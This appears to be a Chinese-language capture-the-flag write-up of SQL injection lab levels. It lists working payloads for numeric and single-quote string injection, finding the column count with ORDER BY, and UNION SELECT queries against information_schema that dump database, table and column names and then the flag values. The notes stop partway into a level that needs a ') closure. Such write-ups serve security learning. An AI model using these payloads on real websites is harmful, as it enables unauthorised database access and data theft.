判断注入类型发现是数字型注入
1 or 1=1 #
1' or '1'='1 #
1" or "1"="1 #
利用order by得到数据库有三列
?id=0 union select 1,2,3#得到回显位23

查库名
可以通过information_schema库或者直接select database()
?id=0 union select 1,(select group_concat(schema_name) from information_schema.schemata),(select database())#
查表名
?id=0 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='error'),3#

查列名
?id=0 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='error'),(select group_concat(column_name) from information_schema.columns where table_name='error_flag')#
可以看到有flag列,直接输出
?id=0 union select 1,(select group_concat(flag) from error.error_flag),3#

测试得题目为单引号字符型注入
这里#注释会报错,转用--+
?id=0' union select 1,2,3 --+

爆库
?id=0' union select 1,(select database()),3--+

后面和Pass-01一样
直接得到flag
?id=0' union select 1,(select group_concat(flag) from error.error_flag),3--+

查看语句得知需要')闭合前面的('
?id=0'